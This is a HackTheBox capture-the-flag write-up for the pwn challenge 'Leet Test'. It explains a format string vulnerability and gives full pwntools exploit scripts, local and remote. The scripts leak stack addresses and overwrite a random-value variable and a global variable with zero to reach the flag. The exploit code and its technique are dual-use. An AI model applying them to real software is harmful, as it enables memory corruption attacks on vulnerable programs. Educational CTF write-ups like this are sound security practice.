Leet Test
Leet Test
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Are you 1337 enough?
Solution Approach
Core idea: Exploiting FSB. Overwriting global and local variable to 0.
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/leet_test]
└─$ file leet_test
leet_test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6e69bc8fc90c94520adb2fc11a0d7d7b85326f6, for GNU/Linux 3.2.0, not stripped
BINARY PROTECTIONS
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/leet_test]
└─$ pwn checksec leet_test
[*] '/home/D3v0o0Nu11/Downloads/leet_test/leet_test'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
-
After decompiled the binary, seems the concept here is overwriting stack variable using format strings vulnerability.
-
It's proven by no potential BOF but there is format strings vuln.
-
Analyzing the main functions, we know that we can overwrite 2 variables there, the
local_13cwhich held the random values. -
And
winnervariable which held the 0xcafebabe value. -
We can just overwrite them as 0, so it would be look like this:
0 * 0x1337c0de == 0
- With this, when we run the binary, it will break out of the while loop then cat the flag for us.
- Here's what we need to do:
- Get the fmtstr offset.
- Calculate the exact address for the variable that held the random value.
- grab the address for winner.
GET THE FORMAT STRING OFFSET
- To grab the format string offset, i used the template from pwnlib documentation and modified it.
OUR SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript ='''
init-pwndbg
continue
'''.format(**locals())
exe = './leet_test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
def payload(exp):
sh.sendline(exp)
sh.recvuntil(b'Hello,')
return sh.recvline().strip()
sh = start()
#pause()
format_str = FmtStr(execute_fmt=payload)
log.success('Format strings offset : %d', format_str.offset)
sh.interactive()
- let us calc the address for the random value.
NOTES: When i tried to solve this challenge remotely, the offset at the remote server is different, beauty of PWN 😭. So i'm gonna show you how to solve both locally and remotely.
CALC THE ADDRESS LOCALLY
- After grab and calculate every stack address i leaked, the correct one is at 18 (mine locally).
USE GDBSCRIPT TO BREAK AT 0x00000000004013a7
CALC SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript ='''
init-pwndbg
break * 0x00000000004013a7
continue
'''.format(**locals())
exe = './leet_test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
def payload(exp):
sh.sendline(exp)
sh.recvuntil(b'Hello,')
return sh.recvline().strip()
sh = start()
#pause()
format_str = FmtStr(execute_fmt=payload)
log.success('Format strings offset : %d', format_str.offset)
sh.sendlineafter(b':', '%{}$p'.format(18))
sh.recvuntil(b'Hello,')
get = sh.recvline().strip()
#print(get)
get_addr = int(get, 16)
log.success('LEAKED STACK ADDRESS --> %#0x', get_addr)
calc = get_addr - 272
log.success('CALCULATED --> %#0x', calc)
sh.interactive()
-
Notice our RAX held the random value.
-
And we have the same address as the random value variable.
-
Now we just need to grab the
winneraddress. -
Here's the final script.
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript ='''
init-pwndbg
break * 0x00000000004013a7
continue
'''.format(**locals())
exe = './leet_test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
def payload(exp):
sh.sendline(exp)
sh.recvuntil(b'Hello,')
return sh.recvline().strip()
sh = start()
#pause()
format_str = FmtStr(execute_fmt=payload) # get fmtstr offset
log.success('Format strings offset : %d', format_str.offset)
sh.sendlineafter(b':', '%{}$p'.format(18))
sh.recvuntil(b'Hello,')
get = sh.recvline().strip()
#print(get)
get_addr = int(get, 16)
log.success('LEAKED STACK ADDRESS --> %#0x', get_addr)
### CALC THE RANDOM VALUE ADDRESS
calc = get_addr - 272
log.success('CALCULATED --> %#0x', calc)
### perform writes
format_str.write(calc, 0) # set to 0
format_str.write(0x404078, 0) # set to 0
format_str.execute_writes()
sh.interactive()
RESULT LOCALLY
- Got our fake flag! But like what i said before, the remote server has different offset for the random value address 💀. So took me a while to solve this, here's the remote script.
SCRIPT REMOTE
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript ='''
init-pwndbg
break * 0x00000000004013a7
continue
'''.format(**locals())
exe = './leet_test'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
def payload(exp):
sh.sendline(exp)
sh.recvuntil(b'Hello,')
return sh.recvline().strip()
sh = start()
#pause()
format_str = FmtStr(execute_fmt=payload) # get fmtstr offset
log.success('Format strings offset : %d', format_str.offset)
sh.sendlineafter(b':', '%{}$p'.format(38))
sh.recvuntil(b'Hello,')
get = sh.recvline().strip()
#print(get)
get_addr = int(get, 16)
log.success('LEAKED STACK ADDRESS --> %#0x', get_addr)
### CALC THE RANDOM VALUE ADDRESS
calc = get_addr - 287
log.success('CALCULATED --> %#0x', calc)
### perform writes
format_str.write(calc, 0) # set to 0
format_str.write(0x404078, 0) # set to 0
format_str.execute_writes()
sh.interactive()
- Got the flag!
NOTES: If it failed locally or remotely, try to run the script again, it happens because stack address are not static. Because ASLR is on.
Flag
REDACTED
Lessons Learned
- Exploiting FSB.
- Overwriting global and local variable to 0.